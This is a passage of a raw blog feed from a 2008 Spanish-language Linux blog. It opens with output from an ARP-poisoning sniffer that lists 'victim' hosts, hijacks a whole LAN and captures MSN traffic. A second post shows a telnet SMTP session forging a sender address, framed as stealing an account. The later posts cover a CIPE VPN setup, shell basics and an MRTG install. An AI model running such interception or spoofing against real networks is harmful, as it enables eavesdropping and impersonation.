Specify the range to scan (ex. 192.168.1.0 - 192.168.1.254 )&lt;br /&gt;&lt;br /&gt;Range: 192.168.1.0-192.168.1.254&lt;br /&gt;&lt;br /&gt;[*] Scanning range from 192.168.1.0 to 192.168.1.254...&lt;br /&gt;[*] Skipping our host (IP attacker): 192.168.1.67&lt;br /&gt;[*] Victim IP: 192.168.1.40     MAC: 00:08:5d:18:5b:09&lt;br /&gt;[*] Victim IP: 192.168.1.41     MAC: 00:08:5d:18:5b:0f&lt;br /&gt;[*] Victim IP: 192.168.1.42     MAC: 00:08:5d:18:5b:15&lt;br /&gt;[*] Victim IP: 192.168.1.43     MAC: 00:08:5d:18:5b:07&lt;br /&gt;[*] Victim IP: 192.168.1.44     MAC: 00:08:5d:18:1a:61&lt;br /&gt;[*] Victim IP: 192.168.1.45     MAC: 00:08:5d:18:5b:19&lt;br /&gt;[*] Victim IP: 192.168.1.46     MAC: 00:08:5d:18:02:5a&lt;br /&gt;[*] Victim IP: 192.168.1.64     MAC: 00:16:d3:4c:98:f6&lt;br /&gt;[*] Victim IP: 192.168.1.69     MAC: 00:12:a9:31:d6:60&lt;br /&gt;[*] Victim IP: 192.168.1.75     MAC: 00:50:8b:4b:4e:48&lt;br /&gt;[*] Victim IP: 192.168.1.76     MAC: 00:1a:73:56:95:51&lt;br /&gt;[*] Victim IP: 192.168.1.77     MAC: 00:1c:c4:82:c1:9c&lt;br /&gt;[*] Victim IP: 192.168.1.78     MAC: 00:17:a4:e4:1d:2f&lt;br /&gt;[*] Victim IP: 192.168.1.80     MAC: 00:1b:78:07:10:75&lt;br /&gt;[*] Victim IP: 192.168.1.100    MAC: 00:19:21:0b:2f:96&lt;br /&gt;[*] Victim IP: 192.168.1.254    MAC: 00:1d:5a:2a:6e:a9&lt;br /&gt;[*] Victim IP: 192.168.1.77     MAC: 00:1c:c4:82:c1:9c&lt;br /&gt;[*] Hosts found: 17&lt;br /&gt;[*] Select Option:&lt;br /&gt;[*] 1) One-to-One: Hijack the traffic only between two particular hosts&lt;br /&gt;[*] 2) One-to-All: Hijack the network faking a single host (The default gateway is a good option)&lt;br /&gt;[*] 3) Hijack the entire network&lt;br /&gt;Type of attack: 3&lt;br /&gt;[*] Infecting Host(s)...&lt;br /&gt;[*] Leaving arp-poison into background: pid 10274 ...&lt;br /&gt;[*] Using fake mac addr: 00:02:5C:17:2B:FA&lt;br /&gt;[*] Supported protocols: &lt;br /&gt;&lt;br /&gt;1. HTTP (Cookie supported)&lt;br /&gt;2. FTP&lt;br /&gt;3. TELNET&lt;br /&gt;4. POP3&lt;br /&gt;5. IMAP&lt;br /&gt;6. SMTP&lt;br /&gt;7. MSN&lt;br /&gt;8. IRC (Convos supported)&lt;br /&gt;9. SMB&lt;br /&gt;10. ALL&lt;br /&gt;&lt;br /&gt;Select option(s) [default: 10]: 7&lt;br /&gt;&lt;br /&gt;[*] Sniffing using Dev :eth0:&lt;br /&gt;[*] Filter :tcp and port 1863:&lt;br /&gt;AQUI EMPEZAMOS A JUGAR !!!! JEEEEEEEEEEEEEEEEE!!!!JIIIII&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-7980273924116470991?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/7980273924116470991/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=7980273924116470991' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7980273924116470991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7980273924116470991'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/03/trapper-sniifer.html' title='TRAPPER SNIIFER'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-3646060331990379388</id><published>2008-02-25T14:52:00.000-08:00</published><updated>2008-08-21T11:10:30.466-07:00</updated><title type='text'>BUG in MAIL</title><content type='html'>DEBEMOS DE TENER INSTALADO SENDMAIL O CUALQUIER SERVIDOR DE SMTP&lt;br /&gt;&lt;br /&gt;ROBAMOS LA CUENTA DE ALGUIEN ENVIANDO UN CORREO SIN QUE ELLA O EL LO HAYA ENVIADO..&lt;br /&gt;&lt;br /&gt;[root@desarrollo ~]# telnet localhost 25&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to localhost.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;220 desarrollo.generis.com.mx ESMTP Sendmail 8.14.2/8.14.2; Mon, 25 Feb 2008 16:35:14 -0600&lt;br /&gt;mail from:ekxo@generis.com.mx&lt;br /&gt;250 2.1.0 ekxo@generis.com.mx... Sender ok&lt;br /&gt;rcpt to:drag0n3t@hotmail.com&lt;br /&gt;250 2.1.5 drag0n3t@hotmail.com... Recipient ok&lt;br /&gt;data&lt;br /&gt;354 Enter mail, end with "." on a line by itself&lt;br /&gt;steal account&lt;br /&gt;.&lt;br /&gt;250 2.0.0 m1PMZE3q009330 Message accepted for delivery&lt;br /&gt;quit&lt;br /&gt;221 2.0.0 desarrollo.generis.com.mx closing connection&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;[root@desarrollo ~]#&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-3646060331990379388?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/3646060331990379388/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=3646060331990379388' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3646060331990379388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3646060331990379388'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/bug-in-mail.html' title='BUG in MAIL'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1740667667169996983</id><published>2008-02-14T12:08:00.000-08:00</published><updated>2008-02-14T12:39:31.461-08:00</updated><title type='text'>VPN CON LINUX REDHAT CIPE</title><content type='html'>&lt;span style="font-weight:bold;"&gt;CIPE&lt;/span&gt; ES UN PROTOCOLO PARA CREAR TUNELES ES PROPIO DE RH AQUI VEMOSLA CONFIGURACION ENTRE 2 HOST ATRAVEZ DE INTERNET CON ESTE PROTOCOLO AUNQUE DESPUES POSTEO LA DE IPSEC QUE ES UN STANDART.AQUI TENEMOS YA UNA SALIDA A INTERNET POR CADA HOST .&lt;br /&gt;&lt;br /&gt;VPN CON LINUX REDHAT CIPE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PROTOCOLOS DE SEGURIDAD DE UNA VPN&lt;br /&gt;&lt;br /&gt;PPTP&lt;br /&gt;IPSEC&lt;br /&gt;CIPE (CRIPTO IP ENCAPSULATION,PORPIO DE RH)&lt;br /&gt;FUNCIONA EN ELACE PUNTO A PUNTO COOMO PPP&lt;br /&gt;ES UN PAQUETE SENCILLO Y LIGERO PARA CREAR TUNELES SOBRE UDP&lt;br /&gt;ESTA DISPONIBLE BAJO GPL GNU&lt;br /&gt;HAY VERSIONES PARA NT Y LINUX&lt;br /&gt;&lt;br /&gt;COMPONENTES DE CIPE&lt;br /&gt;&lt;br /&gt;CONSTA DE UN MODULO DE KERNEL (CIPCB)&lt;br /&gt;EL KERNEL REALIZA FUNCIONES COMO:&lt;br /&gt;MANIPULACION DE PAQUETES&lt;br /&gt;TRANSMICION Y RECEPCCION.&lt;br /&gt;UTILIZA CIFRADO SIMETRICO&lt;br /&gt;CREA UN DISPOSITIVO VIRTUAL PARA EL ENCAMINAMIENTO.&lt;br /&gt;EL NOMBRE DEL DISPOSITIVO DEPENDE DEL ALGORIMO Y VERSION DE PROTOCOLO&lt;br /&gt;&lt;br /&gt;CIFRADO SIMETRICO Y ASIMETRICO&lt;br /&gt;&lt;br /&gt;CIPE SOPORTA ALGORITMOS SIMETRICOS COMO:&lt;br /&gt;&lt;br /&gt;BLOWFISH:128 BITS&lt;br /&gt;IDEA:ESTA PATENTADO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;vp1 host 1&lt;br /&gt;[root@localhost root]# ifconfig&lt;br /&gt;cipcb0    Link encap:IPIP Tunnel  HWaddr&lt;br /&gt;          inet addr:192.168.3.254  P-t-P:192.168.4.254  Mask:255.255.255.255&lt;br /&gt;          UP POINTOPOINT NOTRAILERS RUNNING NOARP  MTU:1442  Metric:1&lt;br /&gt;          RX packets:427 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:432 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:100&lt;br /&gt;          RX bytes:45984 (44.9 Kb)  TX bytes:55032 (53.7 Kb)&lt;br /&gt; &lt;br /&gt;eth1      Link encap:Ethernet  HWaddr 00:0E:A6:9E:3B:F2&lt;br /&gt;          inet addr:192.168.3.254  Bcast:192.168.3.255  Mask:255.255.255.0&lt;br /&gt;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;          RX packets:4096 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:84 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:1000&lt;br /&gt;          RX bytes:1121459 (1.0 Mb)  TX bytes:6804 (6.6 Kb)&lt;br /&gt;          Interrupt:10 Base address:0xe000&lt;br /&gt; &lt;br /&gt;lo        Link encap:Local Loopback&lt;br /&gt;          inet addr:127.0.0.1  Mask:255.0.0.0&lt;br /&gt;          UP LOOPBACK RUNNING  MTU:16436  Metric:1&lt;br /&gt;          RX packets:33570 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:33570 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:0&lt;br /&gt;          RX bytes:3588888 (3.4 Mb)  TX bytes:3588888 (3.4 Mb)&lt;br /&gt; &lt;br /&gt;ppp0      Link encap:Point-to-Point Protocol&lt;br /&gt;          inet addr:148.221.197.202  P-t-P:148.235.20.149  Mask:255.255.255.255&lt;br /&gt;          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1524  Metric:1&lt;br /&gt;          RX packets:498 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:556 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:3&lt;br /&gt;          RX bytes:66622 (65.0 Kb)  TX bytes:80811 (78.9 Kb)&lt;br /&gt;&lt;br /&gt;********&lt;br /&gt;[root@localhost root]# vim /etc/sysconfig/network-scripts/route-cipcb0&lt;br /&gt;GATEWAY0=192.168.4.254&lt;br /&gt;NETMASK0=255.255.255.0&lt;br /&gt;ADDRESS0=192.168.4.0&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;***********&lt;br /&gt;[root@localhost root]# vim /etc/sysconfig/network-scripts/ifcfg-cipcb0&lt;br /&gt;&lt;br /&gt;# Please read /usr/share/doc/initscripts-*/sysconfig.txt&lt;br /&gt;# for the documentation of these parameters.&lt;br /&gt;ONBOOT=yes&lt;br /&gt;USERCTL=no&lt;br /&gt;PEERDNS=no&lt;br /&gt;TYPE=CIPE&lt;br /&gt;IPADDR=192.168.3.254&lt;br /&gt;DEVICE=cipcb0&lt;br /&gt;MYPORT=7777&lt;br /&gt;PTPADDR=192.168.4.254&lt;br /&gt;PEER=0.0.0.0:7777&lt;br /&gt;ME=148.221.197.202&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;*******************&lt;br /&gt;[root@localhost root]# vim /etc/cipe/options.cipcb0&lt;br /&gt;&lt;br /&gt;cttl 64&lt;br /&gt;maxerr -1&lt;br /&gt;key be3a8f753f0782e6efd0a7f2ca7d8136&lt;br /&gt;arg 192.168.4.0&lt;br /&gt;~&lt;br /&gt;***************&lt;br /&gt;[root@localhost root]# vim /etc/sysctl.conf&lt;br /&gt;# Kernel sysctl configuration file for Red Hat Linux&lt;br /&gt;#&lt;br /&gt;# For binary values, 0 is disabled, 1 is enabled.  See sysctl(8) and&lt;br /&gt;# sysctl.conf(5) for more details.&lt;br /&gt;                                                                                &lt;br /&gt;# Controls IP packet forwarding&lt;br /&gt;net.ipv4.ip_forward = 1&lt;br /&gt;                                                                                &lt;br /&gt;# Controls source route verification&lt;br /&gt;net.ipv4.conf.default.rp_filter = 1&lt;br /&gt;                                                                                &lt;br /&gt;# Controls the System Request debugging functionality of the kernel&lt;br /&gt;kernel.sysrq = 0&lt;br /&gt;                                                                                &lt;br /&gt;# Controls whether core dumps will append the PID to the core filename.&lt;br /&gt;# Useful for debugging multi-threaded applications.&lt;br /&gt;kernel.core_uses_pid = 1&lt;br /&gt;&lt;br /&gt;***************&lt;br /&gt;[root@localhost root]# echo 1 &gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;***************&lt;br /&gt;[root@localhost root]# route&lt;br /&gt;Kernel IP routing table&lt;br /&gt;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&lt;br /&gt;192.168.4.254   *               255.255.255.255 UH    0      0        0 cipcb0&lt;br /&gt;192.168.4.0     192.168.4.254   255.255.255.0   UG    0      0        0 cipcb0&lt;br /&gt;192.168.3.0     *               255.255.255.0   U     0      0        0 eth1&lt;br /&gt;169.254.0.0     *               255.255.0.0     U     0      0        0 eth1&lt;br /&gt;127.0.0.0       *               255.0.0.0       U     0      0        0 lo&lt;br /&gt;&lt;br /&gt;******************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;vpn2&lt;br /&gt;[root@localhost root]# vim /etc/sysconfig/network-scripts/route-cipcb0&lt;br /&gt;GATEWAY0=192.168.3.254&lt;br /&gt;NETMASK0=255.255.255.0&lt;br /&gt;ADDRESS0=192.168.3.0&lt;br /&gt;***********&lt;br /&gt;[root@localhost root]# vim /etc/sysconfig/network-scripts/ifcfg-cipcb0&lt;br /&gt;# Please read /usr/share/doc/initscripts-*/sysconfig.txt&lt;br /&gt;# for the documentation of these parameters.&lt;br /&gt;ONBOOT=no&lt;br /&gt;USERCTL=no&lt;br /&gt;PEERDNS=no&lt;br /&gt;TYPE=CIPE&lt;br /&gt;IPADDR=192.168.4.254&lt;br /&gt;DEVICE=cipcb0&lt;br /&gt;MYPORT=7777&lt;br /&gt;PTPADDR=192.168.3.254&lt;br /&gt;PEER=148.221.197.202:7777&lt;br /&gt;ME=0.0.0.0&lt;br /&gt;**************&lt;br /&gt;[root@localhost root]# vim /etc/cipe/options.cipcb0&lt;br /&gt;&lt;br /&gt;cttl 64&lt;br /&gt;maxerr -1&lt;br /&gt;key be3a8f753f0782e6efd0a7f2ca7d8136&lt;br /&gt;arg 192.168.3.0&lt;br /&gt;&lt;br /&gt;*********&lt;br /&gt;[root@localhost root]# vim /etc/sysctl.conf&lt;br /&gt;# Kernel sysctl configuration file for Red Hat Linux&lt;br /&gt;#&lt;br /&gt;# For binary values, 0 is disabled, 1 is enabled.  See sysctl(8) and&lt;br /&gt;# sysctl.conf(5) for more details.&lt;br /&gt;                                                                                &lt;br /&gt;# Controls IP packet forwarding&lt;br /&gt;net.ipv4.ip_forward = 1&lt;br /&gt;                                                                                &lt;br /&gt;# Controls source route verification&lt;br /&gt;net.ipv4.conf.default.rp_filter = 1&lt;br /&gt;                                                                                &lt;br /&gt;# Controls the System Request debugging functionality of the kernel&lt;br /&gt;kernel.sysrq = 0&lt;br /&gt;                                                                                &lt;br /&gt;# Controls whether core dumps will append the PID to the core filename.&lt;br /&gt;# Useful for debugging multi-threaded applications.&lt;br /&gt;kernel.core_uses_pid = 1&lt;br /&gt;&lt;br /&gt;*************&lt;br /&gt;[root@localhost root]# vim /proc/sys/net/ipv4/ip_forward&lt;br /&gt;1&lt;br /&gt;********************&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1740667667169996983?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1740667667169996983/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1740667667169996983' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1740667667169996983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1740667667169996983'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/cipe-vpn.html' title='VPN CON LINUX REDHAT CIPE'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-7041960387089164245</id><published>2008-02-13T15:25:00.000-08:00</published><updated>2008-02-13T15:52:41.518-08:00</updated><title type='text'>¿Qué es un shell?</title><content type='html'>Es una parte fundamental de todo sistema operativo que se encarga de ejecutar órdenes&lt;br /&gt;básicas para el manejo del sistema.&lt;br /&gt;Suelen incorporar características como:&lt;br /&gt;    •  control de procesos&lt;br /&gt;    •  redirección de ficheros&lt;br /&gt;    •  leguaje para escribir pequeños programas&lt;br /&gt;&lt;br /&gt;LOS IMPORTANTES:&lt;br /&gt;&lt;br /&gt;• command.com cmd.exe - DOS y derivados&lt;br /&gt;• ksh - korn shell de UNIX&lt;br /&gt;• chs - C shell, similar en sitaxis al lenguaje de programación C&lt;br /&gt;• bsh - Bourne shell&lt;br /&gt;• tcsh, zsh, ash, ...&lt;br /&gt;• bash - Bourne Again shell, el shell mayoritario de sistemas Linux&lt;br /&gt;     &lt;br /&gt;Patrones de sustitución&lt;br /&gt;&lt;br /&gt;Hay ciertos caracteres que el shell sustituirá por otro contenido en base a unas reglas.&lt;br /&gt;*&lt;br /&gt;    cualquier cadena de texto&lt;br /&gt;    Ejemplo:&lt;br /&gt;    $ echo /usr/*&lt;br /&gt;?&lt;br /&gt;    un solo caracter cualquiera&lt;br /&gt;    Ejemplo:&lt;br /&gt;    $ echo /usr/?bin&lt;br /&gt;    $ echo /usr/????&lt;br /&gt;[...]&lt;br /&gt;    cualquiera de los caracteres entre corchetes&lt;br /&gt;    Ejemplo:&lt;br /&gt;    $ echo /usr/[aeiou]*&lt;br /&gt;&lt;br /&gt;       Redirección de ficheros&lt;br /&gt;Definición clásica: Un fichero informático es una entidad lógica compuesta por una&lt;br /&gt;secuencia de bits, almacenada en un sistema de archivos ubicada en la memoria de un&lt;br /&gt;ordenador.&lt;span style="font-weight:bold;"&gt; QUE ESTA MUY MAMONA LA DEFINICION JEEEEE!!!!!!!&lt;/span&gt;&lt;br /&gt;En UNIX todo es un fichero. Es decir, se pueden aplicar a todos los objetos las acciones&lt;br /&gt;que soporta un fichero en su definición clásica: abrir, cerrar, leer, escribir, etc.&lt;br /&gt;&lt;br /&gt;Ficheros estándar que están abiertos para todo programa en ejecución:&lt;br /&gt;   •   Entrada estándar /dev/stdin (ej. DE Teclado)&lt;br /&gt;   •   Salida estándar /dev/stdout (ej.  Pantalla)&lt;br /&gt;   •   Salida de error /dev/stderr (ej.DE  Pantalla)&lt;br /&gt;&lt;br /&gt;/dev/null -&gt; "la nada de UNIX"&lt;br /&gt;/dev/zero -&gt; fuente infinita de ceros&lt;br /&gt;/dev/random -&gt; datos aleatorios&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-7041960387089164245?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/7041960387089164245/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=7041960387089164245' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7041960387089164245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7041960387089164245'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/qu-es-un-shell.html' title='¿Qué es un shell?'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-6079759972937592493</id><published>2008-02-12T10:06:00.000-08:00</published><updated>2008-02-12T11:16:39.610-08:00</updated><title type='text'>MRTG The Multi Router Traffic Grapher</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_X3QcW21Qw2k/R7HwjS3ld2I/AAAAAAAAAD8/ELKanx-0sfY/s1600-h/192.33.92.249_fa4_1-day.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_X3QcW21Qw2k/R7HwjS3ld2I/AAAAAAAAAD8/ELKanx-0sfY/s200/192.33.92.249_fa4_1-day.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5166174736721737570" /&gt;&lt;/a&gt;&lt;br /&gt;QUE ES MRTG BUENO EN INGLES SIGNIFICA &lt;span style="font-weight:bold;"&gt;The Multi Router Traffic Grapher &lt;/span&gt;ES UN SISTEMA OPEN SOURCE QUE MONITOREA VIA SNMP CUALQUIER DISPOSITOVO DENTRO DE UNA RED CREANDO UNAS GRAFICAS CHIDAS SI TIENES UN ROUTER ESTA HERRAMIENTA TEVA GUSTAR YA QUE TE PERMITE VER EL ESTADO DE LAS INTERFACES ,EL ANCHO DE BANDA BUENO EL MONITOREO DE INTERFACES ES SOLO UNA DE LAS COSAS QUE PODEMOS HACER PERO TAMBIEN PODEMOS MONITOREAR LA TEMPERATURA Y HUMEDAD DE NUESTRO DISPOSITIVO ESTA CHIDO NO!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@desarrollo mrtg-2.16.0]# wget http://oss.oetiker.ch/mrtg/pub/mrtg-2.16.0.zip&lt;br /&gt;&lt;br /&gt;[root@desarrollo mrtg-2.16.0]# unzip mrtg-2.16.0.zip &lt;br /&gt;&lt;br /&gt;[root@desarrollo mrtg-2.16.0]# yum install libpng zlib gd&lt;br /&gt;Setting up Install Process&lt;br /&gt;Parsing package install arguments&lt;br /&gt;Package libpng - 2:1.2.22-1.fc8.i386 is already installed.&lt;br /&gt;Package zlib - 1.2.3-14.fc8.i386 is already installed.&lt;br /&gt;Nothing to do&lt;br /&gt;[root@desarrollo mrtg-2.16.0]# ./configure --prefix=/usr/local/mrtg-2&lt;br /&gt;checking for gcc... gcc&lt;br /&gt;checking for C compiler default output file name... a.out&lt;br /&gt;checking whether the C compiler works... yes&lt;br /&gt;checking whether we are cross compiling... no&lt;br /&gt;checking for suffix of executables... &lt;br /&gt;checking for suffix of object files... o&lt;br /&gt;checking whether we are using the GNU C compiler... yes&lt;br /&gt;checking whether gcc accepts -g... yes&lt;br /&gt;checking for gcc option to accept ISO C89... none needed&lt;br /&gt;checking how to run the C preprocessor... gcc -E&lt;br /&gt;checking whether make sets $(MAKE)... yes&lt;br /&gt;checking for a BSD-compatible install... /usr/bin/install -c&lt;br /&gt;checking for perl... /usr/bin/perl&lt;br /&gt;checking for groff... /usr/bin/groff&lt;br /&gt;checking for grep that handles long lines and -e... /bin/grep&lt;br /&gt;checking for egrep... /bin/grep -E&lt;br /&gt;checking for ANSI C header files... yes&lt;br /&gt;checking for sys/types.h... yes&lt;br /&gt;checking for sys/stat.h... yes&lt;br /&gt;checking for stdlib.h... yes&lt;br /&gt;checking for string.h... yes&lt;br /&gt;checking for memory.h... yes&lt;br /&gt;checking for strings.h... yes&lt;br /&gt;checking for inttypes.h... yes&lt;br /&gt;checking for stdint.h... yes&lt;br /&gt;checking for unistd.h... yes&lt;br /&gt;checking for inttypes.h... (cached) yes&lt;br /&gt;checking for unsigned long long... yes&lt;br /&gt;checking for long long... yes&lt;br /&gt;checking for strtoll... yes&lt;br /&gt;checking for printf long long format specifier... %lld&lt;br /&gt;checking for pow in -lm... yes&lt;br /&gt;checking for gdImageGif in -lgd... yes&lt;br /&gt;checking for gdImagePng in -lgd... yes&lt;br /&gt;checking for gdImagePng_jpg in -lgd... no&lt;br /&gt;checking for gdImagePng_jpg_ft in -lgd... no&lt;br /&gt;checking for gdImageGd in -lgd... no&lt;br /&gt;checking gd.h usability... yes&lt;br /&gt;checking gd.h presence... yes&lt;br /&gt;checking for gd.h... yes&lt;br /&gt;checking the weather... (cached) it's fine&lt;br /&gt;checking if we can use GCC-specific compiler options... yes&lt;br /&gt;configure: creating ./config.status&lt;br /&gt;config.status: creating Makefile&lt;br /&gt;config.status: WARNING:  Makefile.in seems to ignore the --datarootdir setting&lt;br /&gt;config.status: creating config.h&lt;br /&gt;ordering CD from http://tobi.oetiker.ch/wish .... just kidding ;-)&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;Config is DONE!&lt;br /&gt;&lt;br /&gt;Type 'make' to compile the software&lt;br /&gt;&lt;br /&gt;       ... that wishlist mentioned above does really exist. So if&lt;br /&gt;you feel like showing your appreciation for MRTG, this is the&lt;br /&gt;place to go. I just love CDs and DVDs&lt;br /&gt;&lt;br /&gt;                            -- Tobi Oetiker &lt;tobi@oetiker.ch&gt;&lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;[root@desarrollo mrtg-2.16.0]# make&lt;br /&gt;gcc -DGFORM_GD=gdImagePng -g -O2 -Wall -Wpointer-arith -Wcast-align -Wmissing-declarations -Wnested-externs -Winline -W -DHAVE_CONFIG_H -c ./src/rateup.c -o bin/rateup.o&lt;br /&gt;LD_RUN_PATH= gcc bin/rateup.o -o bin/rateup   -lgd -lpng -lz  -lm &lt;br /&gt;/usr/bin/perl -0777 -p -i~ -e "s'^#!\s*/\S*perl'#! /usr/bin/perl'" ./bin/cfgmaker ./bin/indexmaker ./bin/mrtg&lt;br /&gt;/usr/bin/perl -0777 -p -i~ -e 's@GRAPHFMT="...";@GRAPHFMT="png";@' ./bin/mrtg ./bin/indexmaker&lt;br /&gt;&lt;br /&gt;[root@desarrollo mrtg-2.16.0]# make install&lt;br /&gt;/usr/bin/perl -0777 -p -i~ -e "s'^#!\s*/\S*perl'#! /usr/bin/perl'" ./bin/cfgmaker ./bin/indexmaker ./bin/mrtg&lt;br /&gt;/usr/bin/perl -0777 -p -i~ -e 's@GRAPHFMT="...";@GRAPHFMT="png";@' ./bin/mrtg ./bin/indexmaker&lt;br /&gt;/bin/sh ./mkinstalldirs /usr/local/mrtg-2/bin&lt;br /&gt;mkdir /usr/local/mrtg-2&lt;br /&gt;mkdir /usr/local/mrtg-2/bin&lt;br /&gt;for x in ./bin/mrtg ./bin/cfgmaker ./bin/indexmaker ./bin/mrtg-traffic-sum; do \&lt;br /&gt;          /usr/bin/install -c -m 755 $x /usr/local/mrtg-2/bin; done&lt;br /&gt;for x in bin/rateup; do \&lt;br /&gt;          /usr/bin/install -c -m 755 $x /usr/local/mrtg-2/bin; done&lt;br /&gt;/bin/sh ./mkinstalldirs /usr/local/mrtg-2/lib/mrtg2/Pod&lt;br /&gt;mkdir /usr/local/mrtg-2/lib&lt;br /&gt;mkdir /usr/local/mrtg-2/lib/mrtg2&lt;br /&gt;mkdir /usr/local/mrtg-2/lib/mrtg2/Pod&lt;br /&gt;for x in ./lib/mrtg2/*.pm; do \&lt;br /&gt;          /usr/bin/install -c -m 644 $x /usr/local/mrtg-2/lib/mrtg2; done&lt;br /&gt;for x in ./lib/mrtg2/Pod/*.pm; do \&lt;br /&gt;          /usr/bin/install -c -m 644 $x /usr/local/mrtg-2/lib/mrtg2/Pod; done&lt;br /&gt;/bin/sh ./mkinstalldirs /usr/local/mrtg-2/share/mrtg2/icons&lt;br /&gt;mkdir /usr/local/mrtg-2/share&lt;br 